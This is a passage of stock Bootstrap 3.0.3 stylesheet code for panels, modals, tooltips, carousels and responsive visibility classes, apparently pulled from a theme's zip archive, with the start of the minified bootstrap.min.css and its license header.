  border: 1px solid transparent;
  border-radius: 4px;
  -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.05);
  box-shadow: 0 1px 1px rgba(0, 0, 0, 0.05);
}
.panel-body {
  padding: 15px;
}
.panel-body:before,
.panel-body:after {
  content: " ";
  display: table;
}
.panel-body:after {
  clear: both;
}
.panel-body:before,
.panel-body:after {
  content: " ";
  display: table;
}
.panel-body:after {
  clear: both;
}
.panel > .list-group {
  margin-bottom: 0;
}
.panel > .list-group .list-group-item {
  border-width: 1px 0;
}
.panel > .list-group .list-group-item:first-child {
  border-top-right-radius: 0;
  border-top-left-radius: 0;
}
.panel > .list-group .list-group-item:last-child {
  border-bottom: 0;
}
.panel-heading + .list-group .list-group-item:first-child {
  border-top-width: 0;
}
.panel > .table,
.panel > .table-responsive > .table {
  margin-bottom: 0;
}
.panel > .panel-body + .table,
.panel > .panel-body + .table-responsive {
  border-top: 1px solid #dddddd;
}
.panel > .table > tbody:first-child th,
.panel > .table > tbody:first-child td {
  border-top: 0;
}
.panel > .table-bordered,
.panel > .table-responsive > .table-bordered {
  border: 0;
}
.panel > .table-bordered > thead > tr > th:first-child,
.panel > .table-responsive > .table-bordered > thead > tr > th:first-child,
.panel > .table-bordered > tbody > tr > th:first-child,
.panel > .table-responsive > .table-bordered > tbody > tr > th:first-child,
.panel > .table-bordered > tfoot > tr > th:first-child,
.panel > .table-responsive > .table-bordered > tfoot > tr > th:first-child,
.panel > .table-bordered > thead > tr > td:first-child,
.panel > .table-responsive > .table-bordered > thead > tr > td:first-child,
.panel > .table-bordered > tbody > tr > td:first-child,
.panel > .table-responsive > .table-bordered > tbody > tr > td:first-child,
.panel > .table-bordered > tfoot > tr > td:first-child,
.panel > .table-responsive > .table-bordered > tfoot > tr > td:first-child {
  border-left: 0;
}
.panel > .table-bordered > thead > tr > th:last-child,
.panel > .table-responsive > .table-bordered > thead > tr > th:last-child,
.panel > .table-bordered > tbody > tr > th:last-child,
.panel > .table-responsive > .table-bordered > tbody > tr > th:last-child,
.panel > .table-bordered > tfoot > tr > th:last-child,
.panel > .table-responsive > .table-bordered > tfoot > tr > th:last-child,
.panel > .table-bordered > thead > tr > td:last-child,
.panel > .table-responsive > .table-bordered > thead > tr > td:last-child,
.panel > .table-bordered > tbody > tr > td:last-child,
.panel > .table-responsive > .table-bordered > tbody > tr > td:last-child,
.panel > .table-bordered > tfoot > tr > td:last-child,
.panel > .table-responsive > .table-bordered > tfoot > tr > td:last-child {
  border-right: 0;
}
.panel > .table-bordered > thead > tr:last-child > th,
.panel > .table-responsive > .table-bordered > thead > tr:last-child > th,
.panel > .table-bordered > tbody > tr:last-child > th,
.panel > .table-responsive > .table-bordered > tbody > tr:last-child > th,
.panel > .table-bordered > tfoot > tr:last-child > th,
.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > th,
.panel > .table-bordered > thead > tr:last-child > td,
.panel > .table-responsive > .table-bordered > thead > tr:last-child > td,
.panel > .table-bordered > tbody > tr:last-child > td,
.panel > .table-responsive > .table-bordered > tbody > tr:last-child > td,
.panel > .table-bordered > tfoot > tr:last-child > td,
.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > td {
  border-bottom: 0;
}
.panel > .table-responsive {
  border: 0;
  margin-bottom: 0;
}
.panel-heading {
  padding: 10px 15px;
  border-bottom: 1px solid transparent;
  border-top-right-radius: 3px;
  border-top-left-radius: 3px;
}
.panel-heading > .dropdown .dropdown-toggle {
  color: inherit;
}
.panel-title {
  margin-top: 0;
  margin-bottom: 0;
  font-size: 16px;
  color: inherit;
}
.panel-title > a {
  color: inherit;
}
.panel-footer {
  padding: 10px 15px;
  background-color: #f5f5f5;
  border-top: 1px solid #dddddd;
  border-bottom-right-radius: 3px;
  border-bottom-left-radius: 3px;
}
.panel-group .panel {
  margin-bottom: 0;
  border-radius: 4px;
  overflow: hidden;
}
.panel-group .panel + .panel {
  margin-top: 5px;
}
.panel-group .panel-heading {
  border-bottom: 0;
}
.panel-group .panel-heading + .panel-collapse .panel-body {
  border-top: 1px solid #dddddd;
}
.panel-group .panel-footer {
  border-top: 0;
}
.panel-group .panel-footer + .panel-collapse .panel-body {
  border-bottom: 1px solid #dddddd;
}
.panel-default {
  border-color: #dddddd;
}
.panel-default > .panel-heading {
  color: #333333;
  background-color: #f5f5f5;
  border-color: #dddddd;
}
.panel-default > .panel-heading + .panel-collapse .panel-body {
  border-top-color: #dddddd;
}
.panel-default > .panel-footer + .panel-collapse .panel-body {
  border-bottom-color: #dddddd;
}
.panel-primary {
  border-color: #428bca;
}
.panel-primary > .panel-heading {
  color: #ffffff;
  background-color: #428bca;
  border-color: #428bca;
}
.panel-primary > .panel-heading + .panel-collapse .panel-body {
  border-top-color: #428bca;
}
.panel-primary > .panel-footer + .panel-collapse .panel-body {
  border-bottom-color: #428bca;
}
.panel-success {
  border-color: #d6e9c6;
}
.panel-success > .panel-heading {
  color: #3c763d;
  background-color: #dff0d8;
  border-color: #d6e9c6;
}
.panel-success > .panel-heading + .panel-collapse .panel-body {
  border-top-color: #d6e9c6;
}
.panel-success > .panel-footer + .panel-collapse .panel-body {
  border-bottom-color: #d6e9c6;
}
.panel-warning {
  border-color: #faebcc;
}
.panel-warning > .panel-heading {
  color: #8a6d3b;
  background-color: #fcf8e3;
  border-color: #faebcc;
}
.panel-warning > .panel-heading + .panel-collapse .panel-body {
  border-top-color: #faebcc;
}
.panel-warning > .panel-footer + .panel-collapse .panel-body {
  border-bottom-color: #faebcc;
}
.panel-danger {
  border-color: #ebccd1;
}
.panel-danger > .panel-heading {
  color: #a94442;
  background-color: #f2dede;
  border-color: #ebccd1;
}
.panel-danger > .panel-heading + .panel-collapse .panel-body {
  border-top-color: #ebccd1;
}
.panel-danger > .panel-footer + .panel-collapse .panel-body {
  border-bottom-color: #ebccd1;
}
.panel-info {
  border-color: #bce8f1;
}
.panel-info > .panel-heading {
  color: #31708f;
  background-color: #d9edf7;
  border-color: #bce8f1;
}
.panel-info > .panel-heading + .panel-collapse .panel-body {
  border-top-color: #bce8f1;
}
.panel-info > .panel-footer + .panel-collapse .panel-body {
  border-bottom-color: #bce8f1;
}
.well {
  min-height: 20px;
  padding: 19px;
  margin-bottom: 20px;
  background-color: #f5f5f5;
  border: 1px solid #e3e3e3;
  border-radius: 4px;
  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);
  box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);
}
.well blockquote {
  border-color: #ddd;
  border-color: rgba(0, 0, 0, 0.15);
}
.well-lg {
  padding: 24px;
  border-radius: 6px;
}
.well-sm {
  padding: 9px;
  border-radius: 3px;
}
.close {
  float: right;
  font-size: 21px;
  font-weight: bold;
  line-height: 1;
  color: #000000;
  text-shadow: 0 1px 0 #ffffff;
  opacity: 0.2;
  filter: alpha(opacity=20);
}
.close:hover,
.close:focus {
  color: #000000;
  text-decoration: none;
  cursor: pointer;
  opacity: 0.5;
  filter: alpha(opacity=50);
}
button.close {
  padding: 0;
  cursor: pointer;
  background: transparent;
  border: 0;
  -webkit-appearance: none;
}
.modal-open {
  overflow: hidden;
}
.modal {
  display: none;
  overflow: auto;
  overflow-y: scroll;
  position: fixed;
  top: 0;
  right: 0;
  bottom: 0;
  left: 0;
  z-index: 1040;
}
.modal.fade .modal-dialog {
  -webkit-transform: translate(0, -25%);
  -ms-transform: translate(0, -25%);
  transform: translate(0, -25%);
  -webkit-transition: -webkit-transform 0.3s ease-out;
  -moz-transition: -moz-transform 0.3s ease-out;
  -o-transition: -o-transform 0.3s ease-out;
  transition: transform 0.3s ease-out;
}
.modal.in .modal-dialog {
  -webkit-transform: translate(0, 0);
  -ms-transform: translate(0, 0);
  transform: translate(0, 0);
}
.modal-dialog {
  position: relative;
  width: auto;
  margin: 10px;
  z-index: 1050;
}
.modal-content {
  position: relative;
  background-color: #ffffff;
  border: 1px solid #999999;
  border: 1px solid rgba(0, 0, 0, 0.2);
  border-radius: 6px;
  -webkit-box-shadow: 0 3px 9px rgba(0, 0, 0, 0.5);
  box-shadow: 0 3px 9px rgba(0, 0, 0, 0.5);
  background-clip: padding-box;
  outline: none;
}
.modal-backdrop {
  position: fixed;
  top: 0;
  right: 0;
  bottom: 0;
  left: 0;
  z-index: 1030;
  background-color: #000000;
}
.modal-backdrop.fade {
  opacity: 0;
  filter: alpha(opacity=0);
}
.modal-backdrop.in {
  opacity: 0.5;
  filter: alpha(opacity=50);
}
.modal-header {
  padding: 15px;
  border-bottom: 1px solid #e5e5e5;
  min-height: 16.428571429px;
}
.modal-header .close {
  margin-top: -2px;
}
.modal-title {
  margin: 0;
  line-height: 1.428571429;
}
.modal-body {
  position: relative;
  padding: 20px;
}
.modal-footer {
  margin-top: 15px;
  padding: 19px 20px 20px;
  text-align: right;
  border-top: 1px solid #e5e5e5;
}
.modal-footer:before,
.modal-footer:after {
  content: " ";
  display: table;
}
.modal-footer:after {
  clear: both;
}
.modal-footer:before,
.modal-footer:after {
  content: " ";
  display: table;
}
.modal-footer:after {
  clear: both;
}
.modal-footer .btn + .btn {
  margin-left: 5px;
  margin-bottom: 0;
}
.modal-footer .btn-group .btn + .btn {
  margin-left: -1px;
}
.modal-footer .btn-block + .btn-block {
  margin-left: 0;
}
@media screen and (min-width: 768px) {
  .modal-dialog {
    width: 600px;
    margin: 30px auto;
  }
  .modal-content {
    -webkit-box-shadow: 0 5px 15px rgba(0, 0, 0, 0.5);
    box-shadow: 0 5px 15px rgba(0, 0, 0, 0.5);
  }
}
.tooltip {
  position: absolute;
  z-index: 1030;
  display: block;
  visibility: visible;
  font-size: 12px;
  line-height: 1.4;
  opacity: 0;
  filter: alpha(opacity=0);
}
.tooltip.in {
  opacity: 0.9;
  filter: alpha(opacity=90);
}
.tooltip.top {
  margin-top: -3px;
  padding: 5px 0;
}
.tooltip.right {
  margin-left: 3px;
  padding: 0 5px;
}
.tooltip.bottom {
  margin-top: 3px;
  padding: 5px 0;
}
.tooltip.left {
  margin-left: -3px;
  padding: 0 5px;
}
.tooltip-inner {
  max-width: 200px;
  padding: 3px 8px;
  color: #ffffff;
  text-align: center;
  text-decoration: none;
  background-color: #000000;
  border-radius: 4px;
}
.tooltip-arrow {
  position: absolute;
  width: 0;
  height: 0;
  border-color: transparent;
  border-style: solid;
}
.tooltip.top .tooltip-arrow {
  bottom: 0;
  left: 50%;
  margin-left: -5px;
  border-width: 5px 5px 0;
  border-top-color: #000000;
}
.tooltip.top-left .tooltip-arrow {
  bottom: 0;
  left: 5px;
  border-width: 5px 5px 0;
  border-top-color: #000000;
}
.tooltip.top-right .tooltip-arrow {
  bottom: 0;
  right: 5px;
  border-width: 5px 5px 0;
  border-top-color: #000000;
}
.tooltip.right .tooltip-arrow {
  top: 50%;
  left: 0;
  margin-top: -5px;
  border-width: 5px 5px 5px 0;
  border-right-color: #000000;
}
.tooltip.left .tooltip-arrow {
  top: 50%;
  right: 0;
  margin-top: -5px;
  border-width: 5px 0 5px 5px;
  border-left-color: #000000;
}
.tooltip.bottom .tooltip-arrow {
  top: 0;
  left: 50%;
  margin-left: -5px;
  border-width: 0 5px 5px;
  border-bottom-color: #000000;
}
.tooltip.bottom-left .tooltip-arrow {
  top: 0;
  left: 5px;
  border-width: 0 5px 5px;
  border-bottom-color: #000000;
}
.tooltip.bottom-right .tooltip-arrow {
  top: 0;
  right: 5px;
  border-width: 0 5px 5px;
  border-bottom-color: #000000;
}
.popover {
  position: absolute;
  top: 0;
  left: 0;
  z-index: 1010;
  display: none;
  max-width: 276px;
  padding: 1px;
  text-align: left;
  background-color: #ffffff;
  background-clip: padding-box;
  border: 1px solid #cccccc;
  border: 1px solid rgba(0, 0, 0, 0.2);
  border-radius: 6px;
  -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);
  box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);
  white-space: normal;
}
.popover.top {
  margin-top: -10px;
}
.popover.right {
  margin-left: 10px;
}
.popover.bottom {
  margin-top: 10px;
}
.popover.left {
  margin-left: -10px;
}
.popover-title {
  margin: 0;
  padding: 8px 14px;
  font-size: 14px;
  font-weight: normal;
  line-height: 18px;
  background-color: #f7f7f7;
  border-bottom: 1px solid #ebebeb;
  border-radius: 5px 5px 0 0;
}
.popover-content {
  padding: 9px 14px;
}
.popover .arrow,
.popover .arrow:after {
  position: absolute;
  display: block;
  width: 0;
  height: 0;
  border-color: transparent;
  border-style: solid;
}
.popover .arrow {
  border-width: 11px;
}
.popover .arrow:after {
  border-width: 10px;
  content: "";
}
.popover.top .arrow {
  left: 50%;
  margin-left: -11px;
  border-bottom-width: 0;
  border-top-color: #999999;
  border-top-color: rgba(0, 0, 0, 0.25);
  bottom: -11px;
}
.popover.top .arrow:after {
  content: " ";
  bottom: 1px;
  margin-left: -10px;
  border-bottom-width: 0;
  border-top-color: #ffffff;
}
.popover.right .arrow {
  top: 50%;
  left: -11px;
  margin-top: -11px;
  border-left-width: 0;
  border-right-color: #999999;
  border-right-color: rgba(0, 0, 0, 0.25);
}
.popover.right .arrow:after {
  content: " ";
  left: 1px;
  bottom: -10px;
  border-left-width: 0;
  border-right-color: #ffffff;
}
.popover.bottom .arrow {
  left: 50%;
  margin-left: -11px;
  border-top-width: 0;
  border-bottom-color: #999999;
  border-bottom-color: rgba(0, 0, 0, 0.25);
  top: -11px;
}
.popover.bottom .arrow:after {
  content: " ";
  top: 1px;
  margin-left: -10px;
  border-top-width: 0;
  border-bottom-color: #ffffff;
}
.popover.left .arrow {
  top: 50%;
  right: -11px;
  margin-top: -11px;
  border-right-width: 0;
  border-left-color: #999999;
  border-left-color: rgba(0, 0, 0, 0.25);
}
.popover.left .arrow:after {
  content: " ";
  right: 1px;
  border-right-width: 0;
  border-left-color: #ffffff;
  bottom: -10px;
}
.carousel {
  position: relative;
}
.carousel-inner {
  position: relative;
  overflow: hidden;
  width: 100%;
}
.carousel-inner > .item {
  display: none;
  position: relative;
  -webkit-transition: 0.6s ease-in-out left;
  transition: 0.6s ease-in-out left;
}
.carousel-inner > .item > img,
.carousel-inner > .item > a > img {
  display: block;
  max-width: 100%;
  height: auto;
  line-height: 1;
}
.carousel-inner > .active,
.carousel-inner > .next,
.carousel-inner > .prev {
  display: block;
}
.carousel-inner > .active {
  left: 0;
}
.carousel-inner > .next,
.carousel-inner > .prev {
  position: absolute;
  top: 0;
  width: 100%;
}
.carousel-inner > .next {
  left: 100%;
}
.carousel-inner > .prev {
  left: -100%;
}
.carousel-inner > .next.left,
.carousel-inner > .prev.right {
  left: 0;
}
.carousel-inner > .active.left {
  left: -100%;
}
.carousel-inner > .active.right {
  left: 100%;
}
.carousel-control {
  position: absolute;
  top: 0;
  left: 0;
  bottom: 0;
  width: 15%;
  opacity: 0.5;
  filter: alpha(opacity=50);
  font-size: 20px;
  color: #ffffff;
  text-align: center;
  text-shadow: 0 1px 2px rgba(0, 0, 0, 0.6);
}
.carousel-control.left {
  background-image: -webkit-linear-gradient(left, color-stop(rgba(0, 0, 0, 0.5) 0%), color-stop(rgba(0, 0, 0, 0.0001) 100%));
  background-image: linear-gradient(to right, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0.0001) 100%);
  background-repeat: repeat-x;
  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1);
}
.carousel-control.right {
  left: auto;
  right: 0;
  background-image: -webkit-linear-gradient(left, color-stop(rgba(0, 0, 0, 0.0001) 0%), color-stop(rgba(0, 0, 0, 0.5) 100%));
  background-image: linear-gradient(to right, rgba(0, 0, 0, 0.0001) 0%, rgba(0, 0, 0, 0.5) 100%);
  background-repeat: repeat-x;
  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1);
}
.carousel-control:hover,
.carousel-control:focus {
  outline: none;
  color: #ffffff;
  text-decoration: none;
  opacity: 0.9;
  filter: alpha(opacity=90);
}
.carousel-control .icon-prev,
.carousel-control .icon-next,
.carousel-control .glyphicon-chevron-left,
.carousel-control .glyphicon-chevron-right {
  position: absolute;
  top: 50%;
  z-index: 5;
  display: inline-block;
}
.carousel-control .icon-prev,
.carousel-control .glyphicon-chevron-left {
  left: 50%;
}
.carousel-control .icon-next,
.carousel-control .glyphicon-chevron-right {
  right: 50%;
}
.carousel-control .icon-prev,
.carousel-control .icon-next {
  width: 20px;
  height: 20px;
  margin-top: -10px;
  margin-left: -10px;
  font-family: serif;
}
.carousel-control .icon-prev:before {
  content: '\2039';
}
.carousel-control .icon-next:before {
  content: '\203a';
}
.carousel-indicators {
  position: absolute;
  bottom: 10px;
  left: 50%;
  z-index: 15;
  width: 60%;
  margin-left: -30%;
  padding-left: 0;
  list-style: none;
  text-align: center;
}
.carousel-indicators li {
  display: inline-block;
  width: 10px;
  height: 10px;
  margin: 1px;
  text-indent: -999px;
  border: 1px solid #ffffff;
  border-radius: 10px;
  cursor: pointer;
  background-color: #000 \9;
  background-color: rgba(0, 0, 0, 0);
}
.carousel-indicators .active {
  margin: 0;
  width: 12px;
  height: 12px;
  background-color: #ffffff;
}
.carousel-caption {
  position: absolute;
  left: 15%;
  right: 15%;
  bottom: 20px;
  z-index: 10;
  padding-top: 20px;
  padding-bottom: 20px;
  color: #ffffff;
  text-align: center;
  text-shadow: 0 1px 2px rgba(0, 0, 0, 0.6);
}
.carousel-caption .btn {
  text-shadow: none;
}
@media screen and (min-width: 768px) {
  .carousel-control .glyphicons-chevron-left,
  .carousel-control .glyphicons-chevron-right,
  .carousel-control .icon-prev,
  .carousel-control .icon-next {
    width: 30px;
    height: 30px;
    margin-top: -15px;
    margin-left: -15px;
    font-size: 30px;
  }
  .carousel-caption {
    left: 20%;
    right: 20%;
    padding-bottom: 30px;
  }
  .carousel-indicators {
    bottom: 20px;
  }
}
.clearfix:before,
.clearfix:after {
  content: " ";
  display: table;
}
.clearfix:after {
  clear: both;
}
.center-block {
  display: block;
  margin-left: auto;
  margin-right: auto;
}
.pull-right {
  float: right !important;
}
.pull-left {
  float: left !important;
}
.hide {
  display: none !important;
}
.show {
  display: block !important;
}
.invisible {
  visibility: hidden;
}
.text-hide {
  font: 0/0 a;
  color: transparent;
  text-shadow: none;
  background-color: transparent;
  border: 0;
}
.hidden {
  display: none !important;
  visibility: hidden !important;
}
.affix {
  position: fixed;
}
@-ms-viewport {
  width: device-width;
}
.visible-xs,
tr.visible-xs,
th.visible-xs,
td.visible-xs {
  display: none !important;
}
@media (max-width: 767px) {
  .visible-xs {
    display: block !important;
  }
  table.visible-xs {
    display: table;
  }
  tr.visible-xs {
    display: table-row !important;
  }
  th.visible-xs,
  td.visible-xs {
    display: table-cell !important;
  }
}
@media (min-width: 768px) and (max-width: 991px) {
  .visible-xs.visible-sm {
    display: block !important;
  }
  table.visible-xs.visible-sm {
    display: table;
  }
  tr.visible-xs.visible-sm {
    display: table-row !important;
  }
  th.visible-xs.visible-sm,
  td.visible-xs.visible-sm {
    display: table-cell !important;
  }
}
@media (min-width: 992px) and (max-width: 1199px) {
  .visible-xs.visible-md {
    display: block !important;
  }
  table.visible-xs.visible-md {
    display: table;
  }
  tr.visible-xs.visible-md {
    display: table-row !important;
  }
  th.visible-xs.visible-md,
  td.visible-xs.visible-md {
    display: table-cell !important;
  }
}
@media (min-width: 1200px) {
  .visible-xs.visible-lg {
    display: block !important;
  }
  table.visible-xs.visible-lg {
    display: table;
  }
  tr.visible-xs.visible-lg {
    display: table-row !important;
  }
  th.visible-xs.visible-lg,
  td.visible-xs.visible-lg {
    display: table-cell !important;
  }
}
.visible-sm,
tr.visible-sm,
th.visible-sm,
td.visible-sm {
  display: none !important;
}
@media (max-width: 767px) {
  .visible-sm.visible-xs {
    display: block !important;
  }
  table.visible-sm.visible-xs {
    display: table;
  }
  tr.visible-sm.visible-xs {
    display: table-row !important;
  }
  th.visible-sm.visible-xs,
  td.visible-sm.visible-xs {
    display: table-cell !important;
  }
}
@media (min-width: 768px) and (max-width: 991px) {
  .visible-sm {
    display: block !important;
  }
  table.visible-sm {
    display: table;
  }
  tr.visible-sm {
    display: table-row !important;
  }
  th.visible-sm,
  td.visible-sm {
    display: table-cell !important;
  }
}
@media (min-width: 992px) and (max-width: 1199px) {
  .visible-sm.visible-md {
    display: block !important;
  }
  table.visible-sm.visible-md {
    display: table;
  }
  tr.visible-sm.visible-md {
    display: table-row !important;
  }
  th.visible-sm.visible-md,
  td.visible-sm.visible-md {
    display: table-cell !important;
  }
}
@media (min-width: 1200px) {
  .visible-sm.visible-lg {
    display: block !important;
  }
  table.visible-sm.visible-lg {
    display: table;
  }
  tr.visible-sm.visible-lg {
    display: table-row !important;
  }
  th.visible-sm.visible-lg,
  td.visible-sm.visible-lg {
    display: table-cell !important;
  }
}
.visible-md,
tr.visible-md,
th.visible-md,
td.visible-md {
  display: none !important;
}
@media (max-width: 767px) {
  .visible-md.visible-xs {
    display: block !important;
  }
  table.visible-md.visible-xs {
    display: table;
  }
  tr.visible-md.visible-xs {
    display: table-row !important;
  }
  th.visible-md.visible-xs,
  td.visible-md.visible-xs {
    display: table-cell !important;
  }
}
@media (min-width: 768px) and (max-width: 991px) {
  .visible-md.visible-sm {
    display: block !important;
  }
  table.visible-md.visible-sm {
    display: table;
  }
  tr.visible-md.visible-sm {
    display: table-row !important;
  }
  th.visible-md.visible-sm,
  td.visible-md.visible-sm {
    display: table-cell !important;
  }
}
@media (min-width: 992px) and (max-width: 1199px) {
  .visible-md {
    display: block !important;
  }
  table.visible-md {
    display: table;
  }
  tr.visible-md {
    display: table-row !important;
  }
  th.visible-md,
  td.visible-md {
    display: table-cell !important;
  }
}
@media (min-width: 1200px) {
  .visible-md.visible-lg {
    display: block !important;
  }
  table.visible-md.visible-lg {
    display: table;
  }
  tr.visible-md.visible-lg {
    display: table-row !important;
  }
  th.visible-md.visible-lg,
  td.visible-md.visible-lg {
    display: table-cell !important;
  }
}
.visible-lg,
tr.visible-lg,
th.visible-lg,
td.visible-lg {
  display: none !important;
}
@media (max-width: 767px) {
  .visible-lg.visible-xs {
    display: block !important;
  }
  table.visible-lg.visible-xs {
    display: table;
  }
  tr.visible-lg.visible-xs {
    display: table-row !important;
  }
  th.visible-lg.visible-xs,
  td.visible-lg.visible-xs {
    display: table-cell !important;
  }
}
@media (min-width: 768px) and (max-width: 991px) {
  .visible-lg.visible-sm {
    display: block !important;
  }
  table.visible-lg.visible-sm {
    display: table;
  }
  tr.visible-lg.visible-sm {
    display: table-row !important;
  }
  th.visible-lg.visible-sm,
  td.visible-lg.visible-sm {
    display: table-cell !important;
  }
}
@media (min-width: 992px) and (max-width: 1199px) {
  .visible-lg.visible-md {
    display: block !important;
  }
  table.visible-lg.visible-md {
    display: table;
  }
  tr.visible-lg.visible-md {
    display: table-row !important;
  }
  th.visible-lg.visible-md,
  td.visible-lg.visible-md {
    display: table-cell !important;
  }
}
@media (min-width: 1200px) {
  .visible-lg {
    display: block !important;
  }
  table.visible-lg {
    display: table;
  }
  tr.visible-lg {
    display: table-row !important;
  }
  th.visible-lg,
  td.visible-lg {
    display: table-cell !important;
  }
}
.hidden-xs {
  display: block !important;
}
table.hidden-xs {
  display: table;
}
tr.hidden-xs {
  display: table-row !important;
}
th.hidden-xs,
td.hidden-xs {
  display: table-cell !important;
}
@media (max-width: 767px) {
  .hidden-xs,
  tr.hidden-xs,
  th.hidden-xs,
  td.hidden-xs {
    display: none !important;
  }
}
@media (min-width: 768px) and (max-width: 991px) {
  .hidden-xs.hidden-sm,
  tr.hidden-xs.hidden-sm,
  th.hidden-xs.hidden-sm,
  td.hidden-xs.hidden-sm {
    display: none !important;
  }
}
@media (min-width: 992px) and (max-width: 1199px) {
  .hidden-xs.hidden-md,
  tr.hidden-xs.hidden-md,
  th.hidden-xs.hidden-md,
  td.hidden-xs.hidden-md {
    display: none !important;
  }
}
@media (min-width: 1200px) {
  .hidden-xs.hidden-lg,
  tr.hidden-xs.hidden-lg,
  th.hidden-xs.hidden-lg,
  td.hidden-xs.hidden-lg {
    display: none !important;
  }
}
.hidden-sm {
  display: block !important;
}
table.hidden-sm {
  display: table;
}
tr.hidden-sm {
  display: table-row !important;
}
th.hidden-sm,
td.hidden-sm {
  display: table-cell !important;
}
@media (max-width: 767px) {
  .hidden-sm.hidden-xs,
  tr.hidden-sm.hidden-xs,
  th.hidden-sm.hidden-xs,
  td.hidden-sm.hidden-xs {
    display: none !important;
  }
}
@media (min-width: 768px) and (max-width: 991px) {
  .hidden-sm,
  tr.hidden-sm,
  th.hidden-sm,
  td.hidden-sm {
    display: none !important;
  }
}
@media (min-width: 992px) and (max-width: 1199px) {
  .hidden-sm.hidden-md,
  tr.hidden-sm.hidden-md,
  th.hidden-sm.hidden-md,
  td.hidden-sm.hidden-md {
    display: none !important;
  }
}
@media (min-width: 1200px) {
  .hidden-sm.hidden-lg,
  tr.hidden-sm.hidden-lg,
  th.hidden-sm.hidden-lg,
  td.hidden-sm.hidden-lg {
    display: none !important;
  }
}
.hidden-md {
  display: block !important;
}
table.hidden-md {
  display: table;
}
tr.hidden-md {
  display: table-row !important;
}
th.hidden-md,
td.hidden-md {
  display: table-cell !important;
}
@media (max-width: 767px) {
  .hidden-md.hidden-xs,
  tr.hidden-md.hidden-xs,
  th.hidden-md.hidden-xs,
  td.hidden-md.hidden-xs {
    display: none !important;
  }
}
@media (min-width: 768px) and (max-width: 991px) {
  .hidden-md.hidden-sm,
  tr.hidden-md.hidden-sm,
  th.hidden-md.hidden-sm,
  td.hidden-md.hidden-sm {
    display: none !important;
  }
}
@media (min-width: 992px) and (max-width: 1199px) {
  .hidden-md,
  tr.hidden-md,
  th.hidden-md,
  td.hidden-md {
    display: none !important;
  }
}
@media (min-width: 1200px) {
  .hidden-md.hidden-lg,
  tr.hidden-md.hidden-lg,
  th.hidden-md.hidden-lg,
  td.hidden-md.hidden-lg {
    display: none !important;
  }
}
.hidden-lg {
  display: block !important;
}
table.hidden-lg {
  display: table;
}
tr.hidden-lg {
  display: table-row !important;
}
th.hidden-lg,
td.hidden-lg {
  display: table-cell !important;
}
@media (max-width: 767px) {
  .hidden-lg.hidden-xs,
  tr.hidden-lg.hidden-xs,
  th.hidden-lg.hidden-xs,
  td.hidden-lg.hidden-xs {
    display: none !important;
  }
}
@media (min-width: 768px) and (max-width: 991px) {
  .hidden-lg.hidden-sm,
  tr.hidden-lg.hidden-sm,
  th.hidden-lg.hidden-sm,
  td.hidden-lg.hidden-sm {
    display: none !important;
  }
}
@media (min-width: 992px) and (max-width: 1199px) {
  .hidden-lg.hidden-md,
  tr.hidden-lg.hidden-md,
  th.hidden-lg.hidden-md,
  td.hidden-lg.hidden-md {
    display: none !important;
  }
}
@media (min-width: 1200px) {
  .hidden-lg,
  tr.hidden-lg,
  th.hidden-lg,
  td.hidden-lg {
    display: none !important;
  }
}
.visible-print,
tr.visible-print,
th.visible-print,
td.visible-print {
  display: none !important;
}
@media print {
  .visible-print {
    display: block !important;
  }
  table.visible-print {
    display: table;
  }
  tr.visible-print {
    display: table-row !important;
  }
  th.visible-print,
  td.visible-print {
    display: table-cell !important;
  }
  .hidden-print,
  tr.hidden-print,
  th.hidden-print,
  td.hidden-print {
    display: none !important;
  }
}
PK!	2_�ЏЏ&bluetheme/assets/css/bootstrap.min.cssnu&1i�/*!
 * Bootstrap v3.0.3
 *
 * Copyright 2013 Twitter, Inc
 * Licensed under the Apache License v2.0
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Designed and built with all the love in the world @twitter by @mdo and @fat.
 */

article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,section,summary{display:block;}audio,canvas,video{display:inline-block;}audio:not([controls]){display:none;height:0;}[hidden],template{display:none;}html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;}body{margin:0;}a{background:transparent;}a:focus{outline:thin dotted;}a:active,a:hover{outline:0;}h1{font-size:2em;margin:0.67em 0;}abbr[title]{border-bottom:1px dotted;}b,strong{font-weight:bold;}dfn{font-style:italic;}hr{-moz-box-sizing:content-box;box-sizing:content-box;height:0;}mark{background:#ff0;color:#000;}code,kbd,pre,samp{font-family:monospace, serif;font-size:1em;}pre{white-space:pre-wrap;}q{quotes:"\201C" "\201D" "\2018" "\2019";}small{font-size:80%;}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline;}sup{top:-0.5em;}sub{bottom:-0.25em;}img{border:0;}svg:not(:root){overflow:hidden;}figure{margin:0;}fieldset{border:1px solid #c0c0c0;margin:0 2px;padding:0.35em 0.625em 0.75em;}legend{border:0;padding:0;}button,input,select,textarea{font-family:inherit;font-size:100%;margin:0;}button,input{line-height:normal;}button,select{text-transform:none;}button,html input[type="button"],input[type="reset"],input[type="submit"]{-webkit-appearance:button;cursor:pointer;}button[disabled],html input[disabled]{cursor:default;}input[type="checkbox"],input[type="radio"]{box-sizing:border-box;padding:0;}input[type="search"]{-webkit-appearance:textfield;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box;}input[type="search"]::-webkit-search-cancel-button,input[type="search"]::-webkit-search-decoration{-webkit-appearance:none;}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0;}textarea{overflow:auto;vertical-align:top;}table{border-collapse:collapse;border-spacing:0;}@media print{*{text-shadow:none !important;color:#000 !important;background:transparent !important;box-shadow:none !important;} a,a:visited{text-decoration:underline;} a[href]:after{content:" (" attr(href) ")";} abbr[title]:after{content:" (" attr(title) ")";} a[href^="javascript:"]:after,a[href^="#"]:after{content:"";} pre,blockquote{border:1px solid #999;page-break-inside:avoid;} thead{display:table-header-group;} tr,img{page-break-inside:avoid;} img{max-width:100% !important;} @page {margin:2cm 